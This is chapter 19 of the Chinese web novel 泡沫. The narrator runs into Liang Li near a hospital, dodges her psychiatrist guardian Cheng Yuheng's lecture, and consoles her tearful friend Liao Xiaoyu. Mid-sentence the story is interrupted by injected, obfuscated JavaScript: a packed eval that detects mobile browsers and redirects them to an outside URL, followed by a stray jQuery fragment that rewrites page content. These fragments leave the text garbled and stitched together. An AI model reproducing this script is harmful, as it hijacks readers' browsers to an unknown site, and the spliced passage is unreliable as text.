20. 第19章
作品:《泡沫》 医院对面沿江,有不少露天高级餐厅。远远望去,外国人偏多,10点不到,就在享用美食,不知道是早餐还是午餐。
路边还有一些早餐店,我买了两个肉夹馍,在凉亭坐下。
这里清凉宁静,没有太多杂声,我咬着肉夹馍,看着茫茫江水自西向东流,耳边似乎又响起熟悉的旋律。自从听过光盘里的那首歌,它就像罂粟花,经常在我脑海里自动播放,在我心烦意乱的时候,总想听听,才能平复心情。
远处传来嘈杂的声音,公安和救护人员围起来。我站起来想离开,却看到一张熟悉的脸,恰好她也看到我。
公安调停半天,围观的人群慢慢散开,她仍然站在桥下与那光头男人拌嘴。
多日不见,她的肚子更大了,但走起路来,依然不失大姐头的风范。光头男人丢下一句“蛮不讲理”上了车,一溜烟就跑了。
而梁莉走到我面前,笑着问我:“好看吗?”
她笑却像哭,我顿时手足无措,宁愿她把不愉快都发泄出来,她突然叫:“蔺寐。”
我迎上她审视的目光。
“是你,对吧?就是你,是不是?”她又问,语气里有一种坚定。
我的梦里,她在酒吧后街也追着喊我,蔺寐,蔺寐,蔺寐……所以我不觉得突兀。
“我不是。”我回道。
她说了声“哦”。
我松了口气,却发现她依然紧盯着我,我有点不自在,还想继续澄清我不是蔺寐。
她却开口说:“她让我交给李枫的信,我藏在柜子里面。后来,有人闯进阁楼搬东西,我忘了这封信,信就随着柜子一起被搬走了。”
“李枫到现在都不知道蔺寐离开之前给他写了什么。”她嘴角翘起,临走前看着我,又说:“那个柜子侧面刻了个五角星,不知道还能不能找回来。”
五角星?是蓝色的五角星吗?我似乎在什么地方见过。
我还想追问,梁莉却走远了。
口袋里的手机呜呜呜地鸣动,我把手机拿出来一看,才看到程禹衡给我打了好几个电话。
这太鲜有了,平常哪怕我没及时接他电话,他也不会连续打好几个过来。
我往医院跑去,刚踏入精神科室,就看到关系户护士长急匆匆朝我走来,“你跑哪儿去了?我真被你害死了,老程还以为我怎么你了。”
说罢,她拉着我往电梯间走去,一路上念念叨叨,我总算明白事情经过。
前台护士没有及时把西服拿给程禹衡,程禹衡打电话找我,关系户护士长说我早就到医院了,西服也拿过来了,程禹衡又打了个电话找我。等到前台护士猛然想起,将西服递给他,说医院外头发生事故,公安和救护人员都到现场了,他以为我出事了,打电话找我。
护士长拽着我从医院后门钻进医科大学,我跑得上气不接下气,说:“我给他回电话就行了,也没必要跑到他跟前去,何况他在做报告呢。”
她不说话,强硬地拉着我走,而我不愿意,最后变成她拖着我走。
她没了耐性,甩了把手,问我:“怎么了?以前屁颠屁颠地要追他,现在近在咫尺反而逃远了?”
她握住我的手,眼睛盯着我一眨不眨,“你现在脑袋里在想什么?说出来啊。”
她轻轻抚摸我的额头,用温柔的动作试图让我信赖她,这与程禹衡给我治疗时做的动作是一样的。
我忽然有种感觉,似乎很久以前我就认识她,说不定在我住院治疗的时候,她就已经调到这家医院,她肯定知道我是程禹衡的病人。我挣脱她的手,后退几步。
前阵子腿受伤住院的那段时间,她一直有意无意地陪伴我,表面上事事都要跟我对着干,实际上她放纵我,替我解闷,哄我开心。如果她是外科科室的护士长,为什么今天跑到精神科,又或者她原本就是精神科的护士长,却跑到外科住院部照顾了我两周。
她看到我戒备的眼神,伸到一半的手忽然垂下,“对不起,刚刚是不是弄疼你了?”
我摇了摇头,无助地站在原地。
她嘴角微微弯起,“是我太急了,急着向程医生证明我没有拐卖你,希望你能原谅我。”
她突然态度温柔起来,我感到非常不自在,抓着我的小挎包,说:“请你帮我跟程医生说我没事,我先回家了。”
她一把拉住我的手,“前面就是报告厅,就差两步了,真的不进去吗?”
我摇了摇头,她松开手。
这条通往报告厅的路,我不止走过一次。以前我就住在楼上的房里接受治疗。
回到公寓,我接到廖小雨的电话,她竟然说她就在楼下。这么怕麻烦的廖小雨,竟然坐了1个多小时的地铁来找我,完全出乎我的意料。
我敞开大门迎接她,她在黄昏余晖里抬起落寞的脸。
再过得无忧无虑,也会有心情沉重的时候。廖小雨一个月里也总有几天伤春悲秋,就像大姨妈一样准时。
我拍了拍她的肩膀,“我差点认不出你了,怎么苗条了那么多?”
我满心期待她会给我一个粉拳,然后说:“去你的,没良心,老娘一直都很苗条。”
但是她突然抱着我哭了,我以为廖小雨是个不会哭的女人,原来也有眼泪。
“小雨,有什么不开心的,告诉我,我一定帮你撑腰,我俩这么铁……”说着说着,变成哭腔,我一直隐忍的泪夺眶而出。
廖小雨泪眼婆娑地看着我,我垂着脑袋,干脆转过身去。廖小雨往我后背拍了一掌,“你有病啊,不就撒个谎,有必要哭成这样?你此地无银三百两,寒碜我啊?”
我两手捂着脸,哭得上气不接下气,一句反驳的话都没法说。有些事情,我对谁都不能说,不管是知情
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14858860|159417||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的护士长,还是不知情的廖小雨。一旦说出来,我的二次生命就完了。
就像有个问题,廖小雨问了我很多次——为什么程禹衡愿意收留我?
从他问我愿不愿意接受他的监护那刻,我就知道答案了,因为我是他的研究对象。他需要我,完善他的学术研究。
虽然我知道这是事实,但是当我第一次听到他在报告厅讲述有关我的情况的时候,我还是有点伤心。
我买了一些啤酒,将廖小雨带进我的房间里,廖小雨一瓶接一瓶喝,最后沉沉睡去,而我却怎么喝都不醉。
接近十一点的时候,程禹衡突然回来。我闻声下楼,站在楼梯转角,他一抬头就看见我,朝我点了点头,而后回房去。
我将他行李箱的脏衣服取出,放进洗衣机里。
他悄无声息地靠近,我转身碰到他硬朗的肌肉,往后退了几步,不想被他闻到身上的酒味。
他递出换下来的衬衫,声音有点沙哑,“还有这件。”
我抬眼打量他疲惫的脸色,这几天连轴辗转黑眼圈有点大,想起今天让他担心,“今天……”
他从我身边绕过,“没事就好,其他都不重要。”而后转身上楼。
我追了上去,他在书房整理资料,我站在门口,他抬头问我:“有事?”
我摇了摇头。
他指了指沙发上放着的袋子,轻描淡写地说:“你的手信。”
“这么大?”我不可置信地看着,从前他每次出差都会给我买手信,但大多都是些零食,头一次送体积这么大的。
他问:“不要?”
我赶紧说:“不是,我要!”我捧起袋子,正要走出书房,又回头看他,“对不起,昨晚其实我不在家。我撒谎了……”
他低头打开电脑,轻“嗯”了一声,并不想追问下去。
“我是不是该吃药了……”
他手上动作一顿,起身向我走来,扶着我的肩膀,温柔地说:“你已经好了,不要怀疑。早点休息。”
我点了点头。
第二天醒来,可谓是一场乱战。程禹衡不知道廖小雨来了,而且对廖小雨的外貌没什么印象,突然看到酒醉初醒的廖小雨蓬头垢面地出现在客厅,程禹衡以为有贼入屋,差点要叫保安。
我被吓出一身冷汗,等程禹衡出门之后,才喘了口气,廖小雨却闹起来了,“丫的,你怎么把我灌醉了?”
我陪了个笑脸,心想:姑奶奶,你要喝酒,谁挡得住啊?
“小雨,是我不好,一大早弄得一惊一乍的。”
我把廖小雨送走,才拿出程禹衡带回来的手信。这玩意捧起来很轻,但是盒子很大,我晃了晃里头的东西,没有发出太大的声响。昨晚就在好奇里面是什么,一直忍到只剩下自己在家的时候才打开。
我闭着眼把箱子揭开,一睁眼就傻了。